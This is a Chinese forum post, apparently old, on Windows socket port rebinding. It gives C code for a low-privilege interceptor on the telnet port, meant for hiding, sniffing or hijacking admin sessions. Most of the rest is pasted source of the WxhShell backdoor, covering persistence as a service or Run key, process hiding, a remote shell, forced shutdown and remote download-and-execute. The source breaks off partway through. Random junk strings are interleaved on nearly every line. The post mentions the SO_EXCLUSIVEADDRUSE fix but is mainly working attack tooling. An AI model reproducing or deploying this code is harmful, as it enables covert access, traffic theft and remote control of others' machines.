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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T0QvnIaP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,T5u'";  
Af-UScD%G  
  saddr.sin_family = AF_INET; ?ny =  
uh3) 0.nR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xBM>u,0.F  
4_=Ja2v8;`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nWYCh7  
@F5f"8!.\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <nHkg<O6Y  
f@ `*>"  
  这意味着什么?意味着可以进行如下的攻击: U~f4e7x*O  
"VUYh$=[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [0@`wZ  
@!%n$>p/V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !DXNo(:r  
+}kgQ^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k2^a$k}  
j;nb?;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;`j/D@H  
[xlIG}e9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1y"3  
^Z,q$Gp~P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @4GA^h  
][@F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5er@)p_  
g.DLfwI|  
  #include vfc[p ^  
  #include DtxE@,  
  #include )P Jw+5  
  #include    >)nS2b OE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t;q7t!sC]  
  int main() nvq3*  
  { X` r* ob  
  WORD wVersionRequested; :}}%#/nd  
  DWORD ret; iz^qR={bW  
  WSADATA wsaData; |(R5e  
  BOOL val; Zj9c9  
  SOCKADDR_IN saddr; d IB }_L  
  SOCKADDR_IN scaddr; x~DLW1I  
  int err; C"V%# K  
  SOCKET s; qYB~VE03  
  SOCKET sc; Nh!_l  
  int caddsize; 6z,Dyy]tl  
  HANDLE mt; 7(k^a)~PL  
  DWORD tid;   sfD5!Z9#1  
  wVersionRequested = MAKEWORD( 2, 2 ); LDj<?'  
  err = WSAStartup( wVersionRequested, &wsaData ); oOU1{[  
  if ( err != 0 ) { Pcd *">v  
  printf("error!WSAStartup failed!\n"); WrGK\Vw[  
  return -1; jA(vTR.`  
  } Ty4S~ClO#'  
  saddr.sin_family = AF_INET; WCq /c6 D  
   .IrNa>J~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4vZ4/#(x  
N3A<:%s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9(_{`2R8  
  saddr.sin_port = htons(23); #;VA5<M8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /Ft:ffR|R  
  {  J m{  
  printf("error!socket failed!\n"); ^_5|BT@  
  return -1; n(ir[w#,]"  
  } EMvHFu   
  val = TRUE; ~Qj}ijWD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HTjkR*E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~f>2U]F>5  
  { y0bq;(~X~  
  printf("error!setsockopt failed!\n"); $K}DB N; 4  
  return -1; S6i@"h5  
  } }^ FulsC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'xK.U I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UmU:j@ xvg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @E9" Zv-$  
PO-"M)M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Tbbz'b;{  
  { B|=|.qp$)  
  ret=GetLastError(); U]6&b  
  printf("error!bind failed!\n"); &m^@9E)S/  
  return -1; KM,|} .@:  
  } e79KbLV  
  listen(s,2); } (FPV*mS  
  while(1) {<$b Aj  
  { D)$8 W[  
  caddsize = sizeof(scaddr); r|<DqTc6l  
  //接受连接请求 Ww3wsyx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2B1xUj ]  
  if(sc!=INVALID_SOCKET) yJx?M  
  { 48D?'lW %  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >7Jr^o#|_x  
  if(mt==NULL) J1ON,&[J  
  { BzJ;%ywS  
  printf("Thread Creat Failed!\n"); .giz=* q+  
  break; . )XP\ m\  
  } @I3eK^#|P  
  } GRqT-/n"  
  CloseHandle(mt); 77 r(*.O|  
  } vG.9 H_&  
  closesocket(s); T3%C%BcX  
  WSACleanup(); k\)Cw  
  return 0; 0Rn+`UnwB  
  }   h:bru:ef  
  DWORD WINAPI ClientThread(LPVOID lpParam) L{{CAB!  
  { O~Wt600{E  
  SOCKET ss = (SOCKET)lpParam; s Kicn5  
  SOCKET sc; 9]'&RyH=#  
  unsigned char buf[4096]; {jKI^aC<[  
  SOCKADDR_IN saddr; V\5 L?}  
  long num; G5.nPsuM   
  DWORD val; = duks\)O  
  DWORD ret; M" lg%j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3.Gj4/f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Cr ? 4Ngw  
  saddr.sin_family = AF_INET; "hz\Z0zg2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \Gp*x\<^Z  
  saddr.sin_port = htons(23); K{fsn4rk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &K+0xnUH  
  { RD,5AShP  
  printf("error!socket failed!\n"); qPGuo5^  
  return -1; A Io|TD5{~  
  } Q%S9fq,q  
  val = 100; ,zTb<g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XL}"1lE  
  { *>8ce-PV  
  ret = GetLastError(); yCz|{=7"j  
  return -1; d4?d4;{  
  } Mz]: }qmFA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5sO@OV\ y  
  {  cgu~  
  ret = GetLastError(); Y4.Eq+$gh  
  return -1; GwU?wIIj^  
  } M\<w#wZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H].y w9  
  { $(pF;_W  
  printf("error!socket connect failed!\n"); 266oTER]v:  
  closesocket(sc); | tQiFC  
  closesocket(ss); E; $+f  
  return -1; :aLT0q!K  
  } AV8T  
  while(1) |Hr:S":9  
  { o]n!(f<(*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g| <wyt[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YGvUwj'2a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R<ND=[}s  
  num = recv(ss,buf,4096,0); Bf`9V713  
  if(num>0)  u6u=2  
  send(sc,buf,num,0); w~R`D  
  else if(num==0) 07g':QU@  
  break; [4&#*@  
  num = recv(sc,buf,4096,0); eW'2AT?2H%  
  if(num>0) Os%n{_#8  
  send(ss,buf,num,0); qml2XJ>  
  else if(num==0) BQ</g* $;  
  break; D('2p8;2"7  
  } Z;Rp+ X  
  closesocket(ss); G2{O9  
  closesocket(sc); [%A4]QzWh  
  return 0 ; ?(6mVyIe  
  } U:6W+p8  
5+Mdh`  
d&8APe  
========================================================== tMx}*l|]  
Q;Wj?8}  
下边附上一个代码,,WXhSHELL V&]DzjT/  
pE.PX 8  
========================================================== I&|f'pn^<  
|C%Pjl^YkV  
#include "stdafx.h" Scm36sT{  
J T# d(Y  
#include <stdio.h> qZEoiNH(Tj  
#include <string.h> M6r^L6$N  
#include <windows.h> <+#o BN  
#include <winsock2.h> f;SC{2f  
#include <winsvc.h> IxR?'  
#include <urlmon.h> 1'v5/   
=VLS/\A  
#pragma comment (lib, "Ws2_32.lib") {Hmo1|_S|  
#pragma comment (lib, "urlmon.lib") yqXH:757~  
\'CN  
#define MAX_USER   100 // 最大客户端连接数 DmVP  
#define BUF_SOCK   200 // sock buffer GV6K/T :  
#define KEY_BUFF   255 // 输入 buffer p}b/XnV$~  
pg+[y<B  
#define REBOOT     0   // 重启 wu9=N ^x  
#define SHUTDOWN   1   // 关机 o'<^LYSnB  
bOp54WI-g  
#define DEF_PORT   5000 // 监听端口 1{Mcs%W;w5  
5F|8?BkOL^  
#define REG_LEN     16   // 注册表键长度 6pOx'u>h+  
#define SVC_LEN     80   // NT服务名长度 nnb8Gcr  
>gKh  
// 从dll定义API fEE /-}d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z+`{7G?4m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +z9@:L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1=7jz]t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hy"x  
,fIe&zq  
// wxhshell配置信息 M~*u;vA/  
struct WSCFG { |IoB?^_h  
  int ws_port;         // 监听端口 juF{}J2  
  char ws_passstr[REG_LEN]; // 口令 |]Z:&[D]i  
  int ws_autoins;       // 安装标记, 1=yes 0=no e pCLM_yA  
  char ws_regname[REG_LEN]; // 注册表键名 x.0p%O=`  
  char ws_svcname[REG_LEN]; // 服务名 R1:k23{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 if;71ZE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >>Ts??  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cp`j/rF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MF3b{|Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cd79 tu|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;Yfv!\^|  
:4)Qt  
}; qjAWeS/  
/N>e&e[35\  
// default Wxhshell configuration 1T_QX9  
struct WSCFG wscfg={DEF_PORT, h0oMTiA  
    "xuhuanlingzhe", ]9=h%5Ji>  
    1, H`8``#-|@S  
    "Wxhshell", 8l?piig#  
    "Wxhshell", B<8N96fx  
            "WxhShell Service", I-]>d;4.  
    "Wrsky Windows CmdShell Service", *rZ^^`4R  
    "Please Input Your Password: ", J?JeU/:+  
  1, GSoZx0  
  "http://www.wrsky.com/wxhshell.exe", qrvsjYi*w  
  "Wxhshell.exe" 49Df?sx  
    };  rdnno  
6J~12TU,  
// 消息定义模块 D9mz9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2-zT$`[]J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V]c;^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KD1=Y80P  
char *msg_ws_ext="\n\rExit."; =ItkFjhBc  
char *msg_ws_end="\n\rQuit."; z)XRx:YU;$  
char *msg_ws_boot="\n\rReboot..."; < _$%@4 L  
char *msg_ws_poff="\n\rShutdown..."; bk<\ujH  
char *msg_ws_down="\n\rSave to "; Sx:Ur>?hd5  
"xMD,}+5$$  
char *msg_ws_err="\n\rErr!"; 1Kvx1p   
char *msg_ws_ok="\n\rOK!"; 3QSZ ZJ  
xt'tL:d  
char ExeFile[MAX_PATH]; .,~(%#Wl$  
int nUser = 0; A`}yBSb  
HANDLE handles[MAX_USER]; m|=Ecu  
int OsIsNt; cw&Hgjj2  
.*$OQA  
SERVICE_STATUS       serviceStatus; ;n=. {[,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~'5  
Uw-p758dD  
// 函数声明 hqk}akXt  
int Install(void); h=kQ$`j6  
int Uninstall(void); iyVB3:M  
int DownloadFile(char *sURL, SOCKET wsh); 7f<EoSK  
int Boot(int flag); 4`Nt{  
void HideProc(void); gef6pfV  
int GetOsVer(void); /sR%]q |L  
int Wxhshell(SOCKET wsl); j` E +qk  
void TalkWithClient(void *cs); sC00un%  
int CmdShell(SOCKET sock); S~qZr  
int StartFromService(void); d0hhMx6$  
int StartWxhshell(LPSTR lpCmdLine); Y $g$x<7  
p\C%%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wpA`(+J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z3 ;!l  
C8#@+Q.  
// 数据结构和表定义 wOQ#N++C  
SERVICE_TABLE_ENTRY DispatchTable[] = 4E8JT#&  
{ Xd:7"/:r  
{wscfg.ws_svcname, NTServiceMain}, VN4yn| f/  
{NULL, NULL} Fg$3N5*  
}; o!E v;' D  
e& ANp0|W  
// 自我安装 dX8hpQ  
int Install(void) #B'aU#$u  
{ + SZYg[  
  char svExeFile[MAX_PATH]; 'B83m#HR#  
  HKEY key; q;5 i4|  
  strcpy(svExeFile,ExeFile); B:"THN^  
EzW)'Zzw~  
// 如果是win9x系统,修改注册表设为自启动 dk QaM@  
if(!OsIsNt) { @4%L36k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k^$+n_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J68j=`Y  
  RegCloseKey(key); I"AYWo?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VZ>On$hp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d;Hn#2C  
  RegCloseKey(key); syx\gz  
  return 0; G.+l7bnZM  
    } B) $c|dUV  
  } WWwUwUi  
} a/~aFmu6b  
else { rzrl>9 h  
E'1+Yq  
// 如果是NT以上系统,安装为系统服务 {)- .xG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [w -{r+[  
if (schSCManager!=0) oMcK`%ydm  
{ gADmN8G=  
  SC_HANDLE schService = CreateService .*=]gZ$IE  
  ( NT%W;)6m9  
  schSCManager, :J}t&t  
  wscfg.ws_svcname, z s Qo$p  
  wscfg.ws_svcdisp, <1w/hy&mWN  
  SERVICE_ALL_ACCESS, C0.'_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eZ a:o1y  
  SERVICE_AUTO_START, qLncn}oNM  
  SERVICE_ERROR_NORMAL, %zC[KE*~  
  svExeFile, S gMrce<;  
  NULL, HQ9f ,<  
  NULL, F Kc;W  
  NULL, E}CiQUx  
  NULL, R cY>k  
  NULL )T907I|  
  ); l=`L7| ^/d  
  if (schService!=0) @vgG1w  
  { uBg 8h{>  
  CloseServiceHandle(schService); /)N@M  
  CloseServiceHandle(schSCManager); ?!w^`D0}o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6nDV1O5  
  strcat(svExeFile,wscfg.ws_svcname); L+B?~_*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OYM@szM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pDPxl?S  
  RegCloseKey(key); d lH$yub  
  return 0; iK;dU2h  
    } +&tgJ07A  
  } Q8p&Ki;i  
  CloseServiceHandle(schSCManager); U]qav,^[  
} PYB+FcR6?n  
} Uts"aQ  
(-7ZI"Ku  
return 1;  R7oj#  
} %v5R#14[n  
jD) {I  
// 自我卸载 e"-X U@`k1  
int Uninstall(void) W [[oSqp  
{ gOT+%Ab{_  
  HKEY key; )/4(e?%=  
| sqZ$Mu  
if(!OsIsNt) { R~L0{` 0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tc_f;S`k  
  RegDeleteValue(key,wscfg.ws_regname); wYeB)1.  
  RegCloseKey(key); h*0S$p<[1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f<i7@%  
  RegDeleteValue(key,wscfg.ws_regname); 0?7XtC P<  
  RegCloseKey(key); XXmE+aI  
  return 0; m!XI{F@x  
  } "re-@Baw  
} Q^}%c U0  
} ?<X(]I.j  
else { TL= YQA  
NW$H"}+o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CozKyt/r7  
if (schSCManager!=0) W!$zXwY}(  
{ W:&R~R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NX* O_/  
  if (schService!=0) ir> ]r<Zl  
  { 5FvOznK^e  
  if(DeleteService(schService)!=0) { FHy76^h>e  
  CloseServiceHandle(schService); pvWau1ArNq  
  CloseServiceHandle(schSCManager); Hyk'c't_O  
  return 0; ;SwC&.I  
  } >Dm8m[76  
  CloseServiceHandle(schService); ?9j{V7h  
  } &'|B =7  
  CloseServiceHandle(schSCManager); h4&;?T S  
} ;'T{li2  
} &znH!AQ0  
fT:}Lj\L1  
return 1; P sjbR  
} !KS F3sz  
hPm>tV2X  
// 从指定url下载文件 4FeEGySow  
int DownloadFile(char *sURL, SOCKET wsh) x  FJg  
{ F SMj  
  HRESULT hr; KM?1/KZ/~  
char seps[]= "/"; hi{%pi&!T  
char *token; l1_X(Z._V  
char *file; T~4mQuYi  
char myURL[MAX_PATH]; yT /EHmJ  
char myFILE[MAX_PATH]; L6:h.1 U$  
r >{G`de4  
strcpy(myURL,sURL); 0V,Nv9!S  
  token=strtok(myURL,seps); )yee2(S  
  while(token!=NULL) Y,z??bm~J  
  { u.|~   
    file=token; '3tw<k!1{.  
  token=strtok(NULL,seps); H! r &aP  
  } ;uI~BV*3  
/4S;QEv  
GetCurrentDirectory(MAX_PATH,myFILE); 4 (?MUc  
strcat(myFILE, "\\"); E,G<_40  
strcat(myFILE, file); ;#?M)o:q  
  send(wsh,myFILE,strlen(myFILE),0); O>r-]0DI[  
send(wsh,"...",3,0); c|p,/L09L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Aw ^yH+ae  
  if(hr==S_OK) Rz <OF^Iy  
return 0; 0O@_ cW  
else y+mElG$F  
return 1; To"dG& h  
D=?{8'R'  
} oT+(W,G  
^%bBW6eZ  
// 系统电源模块 >mu)/kl  
int Boot(int flag)  I?Y d   
{ 54p tP  
  HANDLE hToken; sLh0&R7   
  TOKEN_PRIVILEGES tkp; :{g7lTM  
g#^|oYuH6  
  if(OsIsNt) { /F[+13C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tn<6:@T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M8W#io  
    tkp.PrivilegeCount = 1; Y)HbxFF`/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B+VuUt{S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tiQ;#p7%  
if(flag==REBOOT) { Fxd{ Zk`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zok D:c  
  return 0; ))#'4  
} TYS\95<  
else { W^g'}}]T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _g|acBF  
  return 0; a% ,fXp>  
} q=c/B(II!  
  } ;_JH:}j  
  else { n[k1np$7?6  
if(flag==REBOOT) { ?T*";_o,B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OD9 yxN>P  
  return 0; |"k&fkS$  
} ;b~~s.+  
else { L/r{xS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vE\lp8j+  
  return 0; q(]f]Vl|0  
} Cw1( 5  
} r2eQ{u{nX  
mBl7{w;Iv  
return 1; =& U`9qN  
} |qUrEGjiSS  
uDG+SdyN@  
// win9x进程隐藏模块 +uQB rG  
void HideProc(void) |HbEk[?^s  
{ av'*u  
Wc'Ehyi;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9;f|EGwZ  
  if ( hKernel != NULL ) :EHQ .^  
  { Ti= 3y497S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "~$$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1kFjas `g  
    FreeLibrary(hKernel); [8]m8=n  
  } g()m/KS<  
xPQL?.  
return; jXIEp01  
} p5*lEz|$  
=MSu3<y,  
// 获取操作系统版本 m6n hC  
int GetOsVer(void) X%4h(7;v  
{ Eb@MfL  
  OSVERSIONINFO winfo; LHi6:G"Y(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !wh=dQgMe  
  GetVersionEx(&winfo); 'DAltr<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9YC&&0 C@  
  return 1; k i4f*Ej  
  else J+2R&3;_O  
  return 0; *8\(FVyG^  
} @-6?i)  
hZuYdV{'h  
// 客户端句柄模块 - V=arm\#z  
int Wxhshell(SOCKET wsl) M\UWWb&%\  
{ c4|so=  
  SOCKET wsh; :C%47qv  
  struct sockaddr_in client; 9*pG?3*I  
  DWORD myID; 3%IWGmye4  
z\}!RBOq  
  while(nUser<MAX_USER) { /<4'B  
{ _T~H[&Hl  
  int nSize=sizeof(client); =lrN'$z?%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8XbR  
  if(wsh==INVALID_SOCKET) return 1; 2LhE]O(_"  
QkX@QQ T?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kym:J \}9B  
if(handles[nUser]==0) [X|OrRA  
  closesocket(wsh); FmA-OqEpA  
else .BL:h&h|y  
  nUser++; raQYn?[  
  } w-: D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); . bG{T|  
%FS;>;i?  
  return 0; 3wNN<R  
} 4(m3c<'P  
*|'}v[{v^9  
// 关闭 socket ^<9)"9)m_  
void CloseIt(SOCKET wsh) (46U|P(v  
{ F*<Ws;j  
closesocket(wsh); #NF+UJYJ&'  
nUser--; E& ]_U$  
ExitThread(0); ^ wQcB  
} Q-Y@)Mf~?0  
\UQ],+H  
// 客户端请求句柄 @Z2/9K%1'  
void TalkWithClient(void *cs) /nM*ljfB\  
{ 4~WlP,,M  
jr1Se9u D  
  SOCKET wsh=(SOCKET)cs; b-b;7a\N  
  char pwd[SVC_LEN]; }}s) +d  
  char cmd[KEY_BUFF]; &ps6s.K  
char chr[1]; ro]L}oE+  
int i,j; APuu_!ez1  
`q1}6U/k  
  while (nUser < MAX_USER) { ?M<|r11}  
uN&M\(  
if(wscfg.ws_passstr) { =+Tsknq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~[;{   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fiqj;GW  
  //ZeroMemory(pwd,KEY_BUFF); ^z?=?%{  
      i=0; R7t bxC  
  while(i<SVC_LEN) { gD40y\9r  
PDZ)*$EE  
  // 设置超时 Y D+QX@  
  fd_set FdRead; "b;k.Fx  
  struct timeval TimeOut; V9]uFL  
  FD_ZERO(&FdRead); s.e y!ew  
  FD_SET(wsh,&FdRead); ^ N_`^m  
  TimeOut.tv_sec=8; ZArf;&8  
  TimeOut.tv_usec=0; n(# c`t*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F~P/*FFK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c$.T<r)Z  
P#9-bYNU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JgZdS-~  
  pwd=chr[0]; "U{mMd!9L  
  if(chr[0]==0xd || chr[0]==0xa) { qZc)Sa.S  
  pwd=0; Ot"(uW4$[  
  break; dK7 ^  
  } 8Nv-/VQ/b  
  i++; y7 <(,uT  
    } /^WE@r[:  
)xbqQW7%0+  
  // 如果是非法用户,关闭 socket 7dx4~dF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rr6"Y&v  
} Z~B+*HF  
k dUc&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QD6Z=>?S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l>33z_H^  
XAGiu;<,=  
while(1) { $o: :PDQ?  
w7[0  
  ZeroMemory(cmd,KEY_BUFF); zkvH=wL  
gGD]t;<u  
      // 自动支持客户端 telnet标准   [/n' @cjNZ  
  j=0; _c,&\ wl$  
  while(j<KEY_BUFF) { uof0Oc.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UvoG<;  
  cmd[j]=chr[0]; 0$(jBnE  
  if(chr[0]==0xa || chr[0]==0xd) { QTJrJD  
  cmd[j]=0; A'w2GC{.  
  break; 4O9tx_<JG  
  } *,_2hvlz  
  j++; y& Gw.N}<r  
    } A` oa|k!U  
sV;qpDXX  
  // 下载文件 7YSuB9{M  
  if(strstr(cmd,"http://")) { ]lC4+{V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <4SF~i  
  if(DownloadFile(cmd,wsh)) ~n)]dFy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gS0,')w  
  else NdaM9a#TZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m}sh I8S  
  } jR }*bIzv  
  else { _qdWQFuM  
^O?l9(=/u  
    switch(cmd[0]) { Z7ZWf'o  
  aj+zmk~-  
  // 帮助 I%C]>ZZh  
  case '?': { (u$!\fE-et  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c lq <$-  
    break; 8VKb*  
  } bK6, saN>  
  // 安装 an #jZ[  
  case 'i': { t/_\U =i$  
    if(Install()) ei(| 5h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R#r h  
    else \Gv-sA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s"gKonwI2  
    break; 15RI(BN   
    } K4BTk !  
  // 卸载 iFXUKGiV  
  case 'r': { 4d,qXSKty  
    if(Uninstall()) h:eN>yW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w`2_6[,9  
    else &*h`b{]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~r7DEy|+  
    break; "`H=AX0  
    } >I R` ]  
  // 显示 wxhshell 所在路径 pU[a[  
  case 'p': { t>fA!K%{  
    char svExeFile[MAX_PATH]; aA!@;rR<yU  
    strcpy(svExeFile,"\n\r"); =aX1:Z  
      strcat(svExeFile,ExeFile); OsDp88Bc  
        send(wsh,svExeFile,strlen(svExeFile),0); $,!dan<eA  
    break; |YMzp8Da(  
    } n/,rn>k7:  
  // 重启 :cIu?7A  
  case 'b': { .oW~:mY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f[w jur  
    if(Boot(REBOOT)) G=+!d&mbg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R|d^M&K,  
    else { i|:: v l  
    closesocket(wsh); Vw6>:l<+<  
    ExitThread(0); y81#UD9[  
    } hJs&rpN  
    break; UeIqAG8  
    } D"1vw<Ak  
  // 关机 j X^&4f  
  case 'd': { 1D#T+t`[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2\kC_o97  
    if(Boot(SHUTDOWN)) fbW,0  
